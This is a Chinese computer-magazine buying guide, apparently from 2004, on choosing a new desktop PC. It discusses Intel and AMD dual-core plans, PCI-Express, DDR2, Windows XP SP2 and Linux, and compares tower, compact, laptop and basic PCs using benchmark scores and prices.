买台新PC、新PC什么样?、哪台PC适合你?

免费阅读期刊

>> 买台新PC、新PC什么样？、哪台PC适合你？ PC，还有什么新玩法？ 你的下一台PC将是3D PC 新PC能否让你更省电? 想要一台梦幻PC? 传统PC图新谋变 如何挑选适合你的迷你PC 个人云开启新“PC”时代 金秋换装季 PC也焕新 新PC时代电脑也瘦身 一台PC玩转客厅、书房和卧室 升级你的PC PC为什么这么丑 联想:打造PC+时代的新服务 联想服务新财年助力联想PC+战略 戴尔私有化的新PC梦 惠普新掌门惠特曼:PC不卖了等 Windows 8只适合触屏PC 买什么样的二手车才是适合你的 宝贝,该给你买什么样的保险 常见问题解答 当前所在位置：中国论文网 > 科技 > 买台新PC、新PC什么样?、哪台PC适合你? 买台新PC、新PC什么样?、哪台PC适合你? 杂志之家、写作服务和杂志订阅支持对公帐户付款！安全又可靠！ document.write("作者：未知 如您是作者，请告知我们")

申明:本网站内容仅用于学术交流，如有侵犯您的权益，请及时告知我们，本站将立即删除有关内容。 New Page 1

几年前帮朋友参谋买PC（本文中，无特殊说明，PC都是指台式PC）我会感觉很轻松，只要知道他准备花多少钱大体就可以圈定可选范围，因为那时的PC都差不多一个样子，配置决定价格，根据价格定配置，八九不离十。

前几天又有朋友请我参谋，除了价格之外，我还追问了很多问题，您要PC做什么？娱乐还是办公用？做视频编辑吗？放在书房还是客厅？对空间有没有要求？喜欢什么风格的？要什么显示器？要多大的显示器？要性能还是功能？……因为PC有了差异，有了太多的选择，配置已经不能完全决定价格。进想的网站，可以查到完整信息的PC就包括了家用、商用和SOHO三大系列13个子系列的57个型号（不包括专门为税务系统定置的税控专用机），而很多型号又可以选择附件和显示器。当然，除了联想，还有数十个PC品牌，仅仅通过价格，恐怕很难在其中做出选择。

“我现在买的PC可以保证两年内不落伍吗？”，朋友最后的这个追加问题的确很难回答，因为摩尔定律早已让PC习惯了朝令夕改和快速贬值，2年不落伍几乎不太可能。但仔细琢磨，其实朋友的要求并非真的像“2年不落伍”那么苛求，其潜台词大概是：现在购买PC是否合时宜，什么样的PC代表着潮流，我该买台什么样的PC。类似的疑问，应该是目前所有准备购买PC的用户共同的问题。

带着这样的问题，我们采访了PC领域的部分厂商、专家，整理了PCWORLD[美]和《微电脑世界》多年对PC领域的追踪评测积累，在此基础上试图从多个视角帮助用户来把握PC近期发展潮流，选择一台适合自己的PC。

新PC什么样？

您心目中的下一台PC不一定能够成为现实，因为目前PC的发展不完全由需求拉动，决定其走向的还有市场、厂商和技术。

从概念、外形到内在技术，从硬件到操作系统的每一个变化，都可能改变您的选择，您的下一台PC究竟什么样，您不仅需要看其外在，还要看一下PC内在技术发展，当然还应将眼光从今天拉起，看看稍远一点的未来。

新PC的外在改变

PC已经不再是过去人们心目中那个乳白色的方盒子，各种各样的造型、大小不一的体积、泾渭分明的用途、跨度巨大的价格范围，让我们选择起来越来越简单，又越来越容易：想找到任何类型的产品都很容易，但想在众多的型号中作出选择都又相当困难。 您还认识现在的PC吗?

如果3年内您没有去过电脑市场，那么有很多PC您可能会不认识，因为一些PC越来越不像PC了，PC中不仅细节的个性化设计越来越多，整体风格和定位的分化也越来越明显，以至于在8月份PCWORLD中国实验室组织的每年一度的PC产品横向评测中，工程师为了产品类别划分伤透了脑筋。

虽然Wintel仍然是PC领域的指挥棒，但其号召力和控制力在减弱。他们联手制造的标准化PC曾经铸就了PC辉煌，却也在一定程度上扼杀了PC的个性，当用户厌倦了千人一面的PC后，PC就需要寻求变化，至少在Wintel无法控制的外形设计上，PC已经千姿百态，当然还有很多Wintel无法干涉的PC概念。

有关家用和商用的划分曾经是PC领域的一大争议点，虽然最终还存在着很多分歧，但家用和商用两个不同市场的划分确实已经泾渭分明。随着市场的细分，仅仅家用和商用的分割似乎已经不能准确覆盖所有应用领域。 商用PC循规蹈矩

在商用领域，需求个性并不鲜明，但还是出现了诸如教育PC、税控PC等行业PC、还有主流商用PC和SOHO商用PC。

从技术或者设计本身，这些PC间并没有多大的差异，只是在成本、功能、配置和可管理性方面根据行业需求和应用特色进行了一些优化和专门设计，客观地说，这些产品本身的行业痕迹并不明显，反而在产品销售和推广上具有鲜明的行业特色，同时在应用中也是非常专一的单一行业功能应用。

除了行业PC外，普通的商用PC似乎并没有多大变化，除了塔式、立式、卧式、Mini等外形变化外，基本还在遵循着配置中心定律，不断升级着各种配置。在一些产品中出现的诸如安全锁、UPS、读卡器、双网设计等特色功能，也没有在商用PC中形成潮流。

不过对于PC使用TCO(总体拥有成本)、安全性和可管理性的关注正在成为商用PC的一种方向和潮流，对于用户有着实实在在的价值，也正在成为商用PC最大的特色之一。 家用PC面目全非

既然是进入家庭，就要有适合家用的特征，家庭需求的多样性和个性化决定了家用PC的多样和不断变化，今天很多的家用PC与22年前IBM的第一台PC相比早已经面目全非。

娱乐是家庭中的主题，虽然大多数人在家中使用PC仍然是为了工作，但家用PC必须具有足够份量的娱乐功能，娱乐功能也是家用PC与商用PC分离的一个基础。

今天PC上的娱乐内容比起以往已经丰富了很多，除了最基本的视音频多媒体内容的播放外，看电视、听广播、视频编辑与制作、照片编辑输出、电子相册、交友聊天、控制家电，所有在传统家电的娱乐项目都已经移植到了PC上，让PC成为家电和消费电子产品的中心已经成为很多家庭的成功娱乐模式。

其实在微软的Windows XP MediaCenter之前，多模式PC已经演变成了一个以多媒体娱乐功能为核心的完整的媒体中心，用户可以很方便地在其上完成娱乐。Windows XP MediaCenter体现了微软对未来PC的一种理解，对于娱乐PC的发展起到了推波助澜的作用。在娱乐PC中，娱乐功能似乎已经比计算功能更重要。

游戏也是娱乐内容之一，随着近几年游戏的盛行和发展，游戏已经超出了娱乐本身，并且作为一个完整的产业也开始羽翼渐丰。游戏PC的概念就是随着游戏发展起来的一个PC类别。虽然基于PC的游戏有高有低，不同的PC可以玩不同层次的游戏，但目前被称为游戏PC的却是PC的顶级产品，具有顶级配置和顶级性能，面向的是发烧级甚至是骨灰级游戏玩家，处理器、内存、硬盘、显卡、散热系统都是顶级的，在性能和技术上，游戏PC引领着PC发展的潮流。

家用PC还在分化，不久的将来，电视PC、客厅PC、卧室PC、老人PC、儿童PC等不同的PC概念还会不断地出现。不同的家庭不同的PC、不同的人不同的PC并不是遥远的梦想。

您还会DIY吗？

在这里我们并没有质疑DIY市场的意思，因为无论是国内还是国外，DIY都是PC领域的重要组成部分，DIY也永远会在PC领域存在，就像音响发烧友喜欢自己制作音箱、功放和自己选择组合一样。

我们更加关注的是近期品牌PC的一些变化，而这些变化将直接影响到DIY市场，透过这些变化，DIY原本的一些优势正在消失，对于很多的DIY用户来说，是到了应该考虑是否还会选择DIY的时候了。

联想以2999元引领的低价品牌PC潮是近期PC领域的最大看点，其后浪潮的1999元PC以及TCL和神舟推出的2998元的PC显然是异曲同工。虽然联想瞄准的并非是PC的主流市场，但由它拉动的价格闸门一定会对品牌PC整体的价格体系产生影响，对于原本DIY最具吸引力的价格优势直接造成了冲击。据我的一些热衷于为亲戚朋友攒机的同事们介绍，虽然同样的价格DIY可以实现稍高一点的配置，但DIY的可靠性和后期服务显然要比品牌PC差很多。对于价格敏感、没有专业基础而又想省事放心的低端用户，可能大都会因此放弃DIY。

而联想8月底推出的高操控性的锋行K系列PC对高端DIY市场无疑是一个杀手级的产品。锋行K系列PC在提供了顶级配置的同时，还在配置选择和可扩展性方面迈出了一大步，让用户可以像DIY一样选择配置和扩展配件，甚至将处理器主频和散热风扇的选择控制权交给了用户，而这些正是DIY对于一些发烧级用户最大的诱惑。

看来品牌PC显然不满足于目前PC市场格局，压榨DIY市场空间比拓展PC新市场也许更容易一些。当品牌PC瞄准DIY市场后，原本群龙无首的DIY市场很难阻击。

新PC的内在改变

无论最近2999元PC、4999元液晶电脑炒得多么热火朝天，无论品牌机与DIY市场打得如何不可开交，这些都是一些外在的现象，对于需要使用PC工作和生活的众多用户而言，如果要买台新的PC，一定会更加关注PC领域内在的一些变化，尤其是处理器/平台架构之类的东西。 处理器看什么?

在2004年9月，PC领域的重中之重就是处理器双内核化的进展。

2004年9月7日开幕的IDF大会上，几乎所有的内容都是关于双内核处理器的。而AMD最近向外界演示与规划的处理器产品也在坚定不移地向着双内核前进。

为什么几乎一夜之间，双内核取代了主频、型号成为了处理器领域最热门的话题？Intel与AMD在未来一年将会对PC的核心架构作出哪些改变？如果你想买台新的PC，你绝对有必要了解关于双内核新处理器的来龙去脉。 昨天: Intel和AMD拉锯战

在台式机处理器的历史上，近年来一直是Intel把持着局面，虽然AMD Athlon处理器曾经对PentiumⅢ处理器造成了不小的威胁并抢先迈进了1GHz大关，但2000年Intel提前亮出了Pentium 4的法宝，凭借长流水线赢得了主频的竞争，并将频率的差距不断拉大，迫使AMD抛弃频率标示改用性能型号，在2002年Intel几乎又将AMD打得无还手之力。

随后Athlon 64又一次让AMD追赶了上来，虽然64位应用还是水中望月，但其32位应用性能与Intel Pentium 4已经旗鼓相当，这逼迫着Intel不断地继续提升Pentium 4处理器的工作频率。 今天: Intel走在十字路口

接下来看看现状。Pentium 4处理器一路高歌猛进，行进到2004年的现在，已经开始让人产生一些质疑：一方面更换新的Prescott内核之后，性能不升反降，虽然频率提升得更高，但发热量却更引人注目；另一方面最新的915/925平台虽然已经3个月了，但我们却总是见到在新的平台上不断地出现Socket 478、DDR400、AGP之类被Intel抛弃的规格被主板和整机厂商所支持；Intel引以为傲的Hyper-Threading（超线程技术）最近却受到冷遇，Windows XP之前的操作系统用户被建议关闭此选项，不少整机厂商的产品出厂配置也是默认关闭超线程的。

反倒是AMD，虽然前进步幅不大，但却非常坚定和稳健，一步一个脚印，与Intel处理器产品之间的性能差距逐步缩小的同时，其主力产品Athlon 64处理器的功耗和发热量反而控制得比Pentium 4更好。

出现这样的局面，显然表明Intel台式机平台的拳头产品 Pentium 4所采用的NetBurst架构所带来的超长流水线、高运行频率策略遇到了相当大的麻烦，随着频率提升而出现的功耗显著增大使得这一路线似乎前途不妙。如何化解这一难题？Intel作出了极其果断和勇敢的决定。 明天: Intel会选择移动核心吗?

在未来一年内，Intel将会全力做两件事情：一是终止Tejas等下一代NetBurst架构处理器的开发计划，转而将目前Intel正红得发紫的迅驰套件之一Pentium-M作为未来移动平台、桌面平台和服务器平台的处理器和核心架构；二是以Pentium-M架构为基础，着手进行双内核处理器的开发。

Intel为什么会选中Pentium-M架构作为未来的全部筹码？移动平台的处理器能否堪此大任？答案其实不难理解。

我们在今年8月份进行的主流笔记本电脑横向评测中，测试了一款采用Pentium-M 755处理器（Dothan内核，实际运行频率2.0GHz）的笔记本电脑Asus M6N，这款产品在整体性能测试软件WorldBench 5中得到了116分的惊人成绩，而我们采用Intel 925X平台、3.6GHz Pentium 4处理器、7200r/min硬盘、1GB DDR2-533内存、ATI X600显示卡获得的测试成绩也不过是118分（在过去的评测中虽然也曾用类似的系统获得过131分的成绩，但采用的是双16MB缓存顶尖硬盘组成RAID 0获得的），可见Pentium-M（Dothan）不凡的实力。如果笔记本电脑平台能够不考虑功耗的问题而换用与台式机平台相当的芯片组、内存、硬盘和显卡配置，相信2.0GHz的Pentium-M就能够让3.6GHz的Pentium 4威风扫地。而根据Intel的测试，超频到2.4GHz的Pentium-M（Dothan）移动平台以较大的优势轻松击败了Pentium 4 3.4GHz的台式机平台。

因此我们可以说，Pentium-M的处理器性能足够强大，足以承担起桌面平台甚至服务器平台的重担（Intel肯定会庆幸自己作出了开发移动平台专用处理器的决定）。但是性能还不是惟一的决定因素，为笔记本电脑量身打造的Pentium-M处理器具备很低的功耗，目前2.0GHz的Pentium-M的最大功耗仅仅是24W，相对于目前最高主频Pentium 4处理器的108W，差距是极其巨大的。

让我们设想一下，如果不需要考虑Pentium-M处理器的功耗，如果它的运行频率达到了2.4GHz甚至更高，如果它能够顺利地完成双内核的改造，如果Intel 65nm生产工艺保持如今的顺利局面，一个性能强大、功耗很低、生产成本并未提高的无敌桌面处理器就会诞生。但这一切是需要过程的，Intel计划在2005年下半年将双内核逐步引入移动平台、桌面平台和服务器平台，预计到2006年70%的笔记本电脑、40%的台式机、85%的服务器将采用双内核（多内核）的处理器，但愿一切顺利。如果这一切得以实现，届时现有的Netburst架构的Pentium 4平台将会寿终正寝，可能到时候除了LGA 775还是现在的样子以外，最新的主板、芯片组等等已经面貌全非了，你现有的主板几乎不可能升级到支持新的处理器。 AMD在做什么?

谈着谈着我们又似乎忽视了AMD的存在。Opteron/Athlon 64目前看起来前途不错，性能稳步上升，功耗发热暂时不是什么问题，在Intel双内核处理器计划成功实现之前，最近这一年似乎是AMD的黄金时期，近来一份来自Current Analysis的调查报告指出，基于AMD的台式机零售量再一次超过了Intel桌面产品（在今年第二季度AMD也曾数次短时间超过Intel）。AMD销售额增加，而Intel降低了财政预测。虽然这可能主要是Sempron起的作用，但我们可以感受到AMD正在面临的宝贵成长机会。

但AMD不会只考虑未来一年如何生存，Intel的Pentium 4虽然看起来前途不妙，但新的双内核处理器出现之后，对AMD又将会造成巨大的压力。因此AMD在多内核处理器的开发上，也已经作好了准备。

Opteron处理器的架构本身，就已经为双内核甚至更多内核作好了准备，在它的核心内部，具备三个Hyper Transport总线控制单元，除了与北桥芯片、PCI-X控制器连接所用掉的两个以外，保留的一个控制单元就可以用来进行双内核之间的连接。Athlon 64中也存在这样三个控制单元，只是其中两个都被保留了起来。这意味着如果AMD想开发双内核，实施起来会容易得多，因为其原有处理器已经为双内核预留了接口。AMD Athlon 64/Opteron内置内存控制器的做法在双内核的开发过程中也将节省不少麻烦。更重要的是，AMD的双内核处理器可以在现有的Socket 939平台上运行，只需升级主板的BIOS即可，AMD又一次显示了对老用户可升级性的关照。

处理器您选谁？

回到原来的话题。如果你打算买一台新的PC，你的确需要慎重考虑未来的扩展升级需求问题。在新的双内核处理器没有作好准备之前，Intel不会放弃推广其Prescott内核的Pentium 4处理器，主频可能会在年底达到4GHz，明年可能还会继续提升一些。如果你并不关心一年之后你的主板是否还支持最新的处理器，那么Intel一整套完整的处理器、芯片组、输入输出接口、储存、音频、显示、网络解决方案仍然是很好的选择。但是如果你真的很在意自己的电脑有没有更长远的升级潜力，或者是你希望能够在现有的系统平台上体验双内核的处理器，那么选择AMD的Athlon 64/Opteron平台是更好的选择。还有一点忠告：处理器很重要，但不是全部。

除了处理器还有什么

在今年6月份Intel的915/925芯片组平台上，伴随着处理器接口的变迁，同时出现的其他一些重大架构变化同样将对未来一年的台式机平台产生深远的影响，这些变化就是PCI-Express总线、DDR2内存接口、支持矩阵式RAID的4个SATA接口配置、无线网络AP功能的内置、高保真8声道音频系统等等，虽然在后的3个多月里这些架构升级的动作还不是那么明显（从板卡厂商和整机厂商推出的产品速度、供应量、推广重点来看都是这样），但随后的这一年无疑将会逐步完成这些规格上的过渡。

NVIDIA代号NV43的GeForce 6600系列显示芯片的出现使得台式机主流显卡得以顺利地插上PCI-Express的翅膀，ATI马上要到来的X700更是让PCI-Express接口更加活跃，而2004年底在AMD处理器平台上PCI-Express总线也要成为现实，PCI-Express在2005年将会不再寂寞。

如果你现在购买PC，在Intel的架构上已经可以放心地选择PCI-Express，如果你青睐AMD的平台，那么也不用担心AGP 8×接口的显卡会销声匿迹，未来一年内绝对会有性能足够强大的产品供你选择。

DDR2内存目前看起来遇到的麻烦似乎比PCI-Express要大得多，至少在今年年底之前，采用DDR2内存的电脑系统都会是凤毛麟角，产能以及由此引发的价格问题恐怕要到明年才能解决得比较好。因此，尽管放心地购买成熟量足的DDR400内存使用吧。

至于SATA接口的硬盘，目前的供货量和价格都令人满意，IDE到SATA的转变，在2004年可以划上一个比较完美的句号。 台式机还是笔记本电脑?

我们谈了很多关于台式机平台的话题，但可能一些用户还会存在另一个问题：现在的笔记本电脑性能提升了，价格降低了，能不能取代台式机的地位？是不是买一台笔记本电脑就够了？

在今年7月份，我们采访了近20家笔记本电脑厂商，其中不乏台式机与笔记本电脑的两栖公司，几乎所有的厂商都认为，笔记本电脑与台式机不会走向统一，而是会各自占据不同的应用领域。其实从去年迅驰的我们就可以看出，笔记本电脑已经走上了与台式机完全不同的道路，移动、无线应用领域是笔记本电脑的天下，固定位置、高性能需求的应用则是台式机的地盘。

无论你打算购买的电脑是用来工作还是娱乐休闲，是否在相对固定的位置和场合使用是选择台式机还是笔记本电脑的关键。Sony最新的VAIO X505笔记本电脑已经只有800多克重，相信再轻便的台式机都无法向它那样可以轻松地拿到各种地方使用。

其实笔记本电脑与台式机接壤的主要区域是小巧玲珑的迷你PC和又厚又重的台式替代型笔记本电脑，这两者在应用领域、配置和性能等方面具备一定的可比性，这两者之间的取舍可以参考接下来的《哪台PC适合你？》的专题文章。 新PC的操作系统会是谁？

微软还会主宰PC的操作系统吗? Linux会走进您的PC吗? 目前还很难说，虽然Windows漏洞百出，不过以多年来形成的厚重的用户基础积累，恐怕很难有人能够撼动其赖以成名的PC领域。 PC操作系统领域近期最大的一次动作来自于被称为Windows有史以来最大的一个补丁的Windows SP2的。SP2的确无愧于Windows有史以来最“强大”的一次系统升级。我们之所以说它“强大”，主要指的是微软为其研发而付出的心血和为其推广而投入的宣传力度，都着实堪称“研发阵容强悍、宣传气势宏大”。SP2着重强调将为Windows增加主动安全防御的能力，其最终成功与否我们姑且不作评论，毕竟时间尚短，它还需要更多的应用来磨合、检验。但至少在包括系统安全、网络互连配置向导、窗口过滤、自动更新等众多细节方面，SP2为我们带来的安全感和便利性是有目共睹的。(有关SP2，请参考本期的《Windows XP SP2热点评测》)

不过正如一些业内人士指责的，自2001年Windows XP以来，微软在操作系统上的脚步就明显减缓。尽管在2002年末和2003年末，微软又相继推出了基于Windows XP专业版核心的针对平板电脑的Tablet PC版和针对多媒体家庭影院电脑的Media Center版系统，但从本质上说，它们仍然只是在Windows XP上外挂一个功能包，离真正的版本升级还有很大的差距。如果我们再向上追溯，其实从2000年微软的Windows 2000到Windows XP，也不过是在核心上迈出了一小步而已，毕竟它们在核心版本上仅相差了0.1个版本号（前者核心版本为NT 5.0。后者为NT 5.1）。按照软件业的惯例，2～3年进行一次系统级的升级是比较合适的，从这个角度看来微软NT 5内核已经够坚挺的了。

这么长时间微软究竟都做了些什么呢？除了大张旗鼓地实施盖茨2003年开始推行的高可信计算（当时称做可信赖计算），另一个根本原因自然就是传说中浩瀚、神秘的重磅炸弹――Longhorn。虽然几经延期Longhorn的时间已经从2004年推迟到了2006年，甚至连微软自己也无法忍受这种慢长的等待，忍痛舍弃了WinFS等部分复杂特性，以确保其正点登场，但其全新的图形引擎Avalon和网络服务与交流构件Indigo，将为Windows平台带来的震撼，仍值得我们期待。

也许正是由于Windows不断出现的漏洞，让用户对于Windows的信任度下降，为Linux等操作系统提供了进入PC领域的空间，无论是国际品牌还是国内品牌，都有厂商开始尝试在一些型号的PC中放弃Windows系统的捆绑，但由于目前基于Linux的PC应用还比较匮乏，Linux得到的硬件厂商的支持还不足以让普通用户可以彻底依赖，目前Linux还无法成为主流应用PC的主操作系统。除了在一些特殊行业或专业应用领域，Linux最多也是在同一台PC中安装的多操作系统中的一种。

您的下一台PC的操作系统还应该是Windows。 选台PC适合你 一台电脑自然是无法满足所有人的需求。我们希望能够帮助你选择适合办公室、家庭、旅途三种不同应用环境的不同电脑。 在这样一个充满了各种各样PC的世界上，还有可能找到一款适合所有人的产品吗？当你家里或者办公室的电脑需要更新换代的时候，你既可以选择一部大型塔式机箱的台式机，也可以选择一部机箱像鞋盒子一般大小的台式机，另外，一部沉重的台式替代型笔记本电脑也可能会成为你的一种选择。在这么多充满变化的选择面前，你将如何做出决定？哪台PC 更加适合你？ 我们考查并测试了一些不同类型的电脑，以便确信它们能做什么和不能做什么。我们把这些电脑分为4 个类别：大型台式机、小型台式机（包括将机箱和显示器集成在一起的一体机）、宽屏幕台式替代型笔记本电脑，以及米色盒子（传统米色外观的PC）。通过对每一个类别产品的系统测试，我们比较了大小、性能、升级潜力、总体设计以及价格。我们发现无论你的要求如何怪异，总有一台PC会适合你：无论大小，无论轻重、全副武装还是基本配置，都已经为你准备好了。 高大的塔式PC

巨大的塔式PC 自然不会吸引所有的人，但是对于那些有钱烧和有地方折腾的人来说，这类产品自然最合适不过，此外如果有人需要顶尖的性能，一台大电脑自然是最好的选择。大块头的PC 与小型PC 相比，自然具有一些与生俱来的先天优势，很多塔式PC都很巨大，通常高达22英寸(1英寸=2.54cm)、宽10 英寸、深22 英寸。这样的体积使得它有足够的空间去安装巨大的图形加速卡和高速处理器所需要的散热设备，其巨大的主板也可以满足不同类型的扩展需求。 Alienware Aurora Extreme 就是我们测试过的一款这样的塔式PC，它使用的最高端配件使得它在我们的P CWorldBench 4测试中成绩耀眼夺目。由于采用了2.2GHz 的 Athlon 64 FX-51处理器和1GB内存，Aurora Extreme获得了141 分的高分，这是我们测试的所有台式PC 中最高的成绩之一。我们再来看看另外一台大型塔式P C ――Cyberpower 的Gamer Infinity 9900P r o f e s s i o n a l ，采用了3 . 4 G H z 的Pentium 4 处理器和1GB 内存，在PCWorldBench 4 测试中得到135 分，虽然不如Alienware 的系统快，但是性能依然足够强大了。 表1 PC 之路: 越来越大还是越来越小

空间的限制可能会决定哪一类PC 适合你，但是一些其他因素对你来说也同样重要，值得考虑。 塔式PC

优点：

极强的升级潜力：塔式PC 比其他任何类型的产品具备更多的扩展插槽和驱动器舱位。 顶级的性能：很多塔式PC 使用了最新的处理器、显示卡和存储系统，使得它们成为游戏或者视频编辑的理想选择。炫酷的外表：一些塔式PC 看起来好像是天外之物，指示灯、按钮和其他一些装饰看起来非常耀眼。 缺点：

空间杀手：不论它放在桌子上还是桌子下面，它都需要你腾出大量的空间。吵闹：由于要使用多个风扇来协助机箱里发热量巨大的部件，塔式PC比其他类型PC的噪音都大得多。 不便携：由于它又大又重，所以很难把它搬来搬去。 小型PC 优点：

节省空间：小型PC 可以轻松地放在桌子的角落里，甚至是放在桌子下面。独特的外形：很多纤瘦的PC采用了与众不同的机箱，有些产品还提供了提手以便搬运。 强大的性能：虽然体积小巧，但它们通常采用了高速的处理器以获得良好的性能表现。 缺点：

升级空间小：由于它的所有部件都被压缩进了一个狭窄的空间内，很多纤细的PC 都不提供任何供你调整的空间。 热，热，热：小型PC的散热空间更小，它的部件运行温度更高。 笔记本电脑 优点：

可以带走：即便是一款超宽屏幕的笔记本电脑，即便它重达10磅(1磅=0.4536kg)，但它仍然比任何一款台式机都方便携带。虽然采用的不是最新的配件，但性能依然足够：很多笔记本电脑使用的处理器比台式机系统慢不了多少，大块头的笔记本电脑性能相当不错。 缺点：

告别升级：与打开台式机机箱相比，打开笔记本电脑的外壳要棘手得多，并且可升级的选择也更少。 昂贵：笔记本电脑的价格要比配置相似的台式机系统贵不少，这就是便携的代价。 基本型PC 优点：

便宜，还是便宜：一台基本的PC系统可能只需要700美元，而且配置还不错。一台具备奇异外表的塔式PC 或者笔记本电脑可能要让你付出额外的上千美元。选择余地很广：基本的PC 可能采用最新的处理器，也可能使用的是比较老的处理器，你可以在性能和价格之间找到很多种选择。 缺点：

稍小的扩展空间：在升级特性上，大型塔式PC 击败了小一点的基本型PC，尽管很多基本型PC也提供了相当多的插槽和驱动器舱位。呆板的设计：如果你喜欢一种炫酷的外表，那么灰色或者黑色的基本型PC 可能不适合你的风格。 在我们的测试中，这2套系统也都表现出了惊人的3D 性能，Alienware的产品在（Return to CastleWolfenstein）《重返狼穴》游戏中获得了127帧/s的速度，测试的分辨率为1280 ×1 0 2 4 @ 3 2 位色，Cyberpower的产品更是得到了137 帧/s 的成绩。考虑到这样出色的成绩（这几乎是我们见到的最快的速度），相信众多的游戏玩家会毫不犹豫地选择塔式PC。 但是我们认为顶级的速度并不是选择一台塔式PC的惟一原因：更大的机箱还将带给你更好的灵活特性，如果你的电脑没有火线接口或者足够的USB接口，你可以简单地通过插入一块相应的卡来搞定。如果你想在电脑上录制电视节目，那么只需要加一块电视卡就行了。千兆网卡、7.1声道声卡？支持双硬盘的SATA 以便让你建立一个RAID阵列？由于塔式PC具备足够的扩展插槽和驱动器舱位，你可以随心所欲地升级。我们注意到这次参加评测的2款塔式PC都具备充足的扩展空间，Alienware 的产品中具备3 个空闲的扩展插槽和2个空闲的驱动器舱位，而Cyberpower 的产品具备2 个空闲扩展插槽和3个空闲驱动器舱位。对性能极其渴求的用户可以根据他们的需要安装任何部件。 另一方面，升级小型PC 已被证明几乎是不可能的。首先，打开小型PC 的机箱就是件相当困难的事情，而且即便你能够打开它，小型PC 内部狭小的空间也让你难以下手升级。 巨大的塔式PC也有一些不利的方面：由于内部填满了性能强大的配件，这通常意味着它需要很多个风扇来保持冷却，实际上在Cyberpower的这款产品中，一共使用了9个风扇，在硬盘和显卡上都有风扇。这些风扇制造了大量的噪音，无论是Alienware 还是Cyberpower 的产品都相当吵人。 不过，Cyberpower也针对这一点作出了一些补偿：它包含了一个控制旋钮和一个数字温度计，可以控制机箱前面板附近的2 个风扇，调整机箱内部的进风量，并实时监控系统的运行温度。 许多大型塔式PC喜欢采用与众不同的外观设计来使自己更具个性，A l i e n w a r e 和Cyberpower 的这2 台PC看起来就很特别，例如它们都采用了透明的侧面板（这一特征在大型塔式PC 上已经越来越常见，尤其是那些针对游戏玩家的产品）。Alienware的PC看起来像一艘宇宙飞船，在底部的两侧都装饰了银色的格窗，而在机箱顶部则装饰了一个看起来像外星人面孔的东西，眼睛放着红光。这2 款产品都采用了灯光来照亮其风扇，使得它们的机箱内部充满奇异的光线。 这样的超级系统通常也需要不菲的代价，Alienware 的系统看起来更加威风一些，而这样的配置大概需要花掉你4000 美元，而如果你自己攒一台基本的系统，只需要不到8 0 0 美元。Cyberpower Infinity9900 Professional 报价3700 美元。但是如果你在寻找性能最强、升级潜力最大的电脑，塔式PC 应该最适合你。 小一点的又如何？

如果你不需要一台具备无穷的扩展性和高入云端的性能的电脑，你可能会更喜欢一些小型的、不张扬的电脑系统，这样可以节省空间，而且更加方便搬运。这样的PC 与大型塔式PC 相比，就像是MiniCooper 和SUV 汽车放在一起。虽然体积小，但这些PC 仍然成功地将所有必需的部件放入其紧凑的机箱内，使得它更容易被搬来搬去。一些小型的电脑系统被设计用来满足那些经常奔波在路上的公司用户，或者是那些需要一定的移动特性但是也需要较强性能电脑的用户。 在本文中我们提及了一款小型PC，那就是Falcon Northwest FragBox Pro，它采用了一个性能强大的处理器和显示卡，可以满足那些对性能非常渴求的游戏玩家。 2.8GHz的Pentium 4处理器和1 G B 内存使它获得了1 2 3 分的P CWorldBench 4 得分。FragBox Pro 的显示性能测试结果同样令人满意，尽管无法达到Alienware和Cyberpower塔式PC那样惊人的成绩，但已经足够用了。 另一款评测的小型P C 产品是Stealth Computer 的Littlepc LPC-401X，它装备了3.2GHz 的Pentium 4处理器和5 1 2 M B 内存， 在P CWorldBench 4 测试中得到121 分，虽然比同配置的其他产品稍慢了一点点，但这已经足够满足绝大多数任务的要求了。与FragBox Pro 不同，Littlepc LPC-401X采用了集成显卡，并且它没有允许你升级显示卡的AGP 插槽。 对于Stealth Computer 来说，这款小型PC 是为了那些既需要处理性能又需要移动特性的用户设计的，这款产品只有3英寸厚，重量只有6 磅。 Littlepc LPC-401X运行起来非常安静，它仅仅为处理器装备了一个小风扇，由于它没有为这样一款强力处理器配备一个强大的散热风扇来解决散热问题，这款产品在运行时其黑色的外壳底部相当热，但Stealth Computer 坚持认为发热不是什么问题。 你可以想像得到，为这样一台小型PC升级是一件不可能的事情。由于采用了非常小的机箱，在它的内部几乎不可能找到任何与其他PC 通用的标准部件，例如软驱，你会发现它的机箱内根本没有能放置软驱的位置。此外，这样的小型PC 的扩展连接能力也受到明显的限制，它的机箱形状和体积使得它无法安装更多的驱动器以及扩展卡。不过即便如此，Littlepc LPC-401X 还是预留了一个内存扩充槽；Falcon Northwest 的FragBox Pro虽然体积大了一些，但仍然相当小巧，提供了稍多一点的扩展能力：它可以再安装一个3英寸驱动器，并且还有一个空闲的扩展插槽。 FragBox Pro 比Littlepc LPC-401X梢胖一些，在我们的测试中运行得更加凉爽，这归功于其为处理器和显示卡服务的一些散热风扇。FragBox Pro宽约8.3英寸，高度为9.5英寸，深度为12英寸，在它的顶部有一个提手以方便搬运。从它14 磅的体重来看，还是比较容易搬动的（但是别忘了，在你的显示器、音箱、键盘、鼠标之间还有一堆烦人的线）。和许多大型塔式PC 相同，FragBox Pro 采用了透明的前面板，可以让你通过它看到被蓝光照亮了的狭窄的内部。Falcon FragBox Pro 入门级的型号参考报价为1095美元（不含显示器），但是如果按照我们推荐的配置去选择，你恐怕要花掉超过2200 美元，这包括了一台显示器的价钱。Stealth Computer 的Littlepc 最基本的配置起价同样为1095美元，但是我们测试的型号包括200GB的硬盘和Combo驱动器，报价为1965美元，并且不包含显示器。这家公司并不销售普通的显示器，但是它却提供那些工业应用的特制显示器订购服务。 助残用的小型PC

霍华德・布兰科已经试图帮助患有脑瘫的病人很多年了，作为巴尔的摩市CHI中心（一个为1000 位残疾人提供服务的组织）的一位成员，他开发了专门的软件来帮助那些失去与他人沟通能力的残疾人通过电脑和触摸屏幕与别人交流。 布兰科在过去曾经使用过各种不同的电脑，但最近他发现了Stealth Computer的小型PC系统，也就是Littlepc，它是最好的轻便、小巧和性能的结合体，在见到Littlepc 之前，布兰科经常给他的顾客推荐笔记本电脑来使用，虽然它们很小巧，但是用起来却很麻烦，因为布兰科必须把每一台笔记本电脑的LCD 屏幕去掉，并装上触摸屏。 而现在，布兰科把Littlepc 和触摸屏装在了轮椅的特殊支架上，这台PC提供了他的帮助科技软件，这一软件包括了4000多种常用的词汇和短语，触摸屏上的图标能够表达出日常的各种类别事务，例如食物、衣服以及感觉等等。通过事先录制好的音频，该软件可以把用户选择的类别和词汇朗读出来，以帮助用户通过语言和对话实现正常的交流。 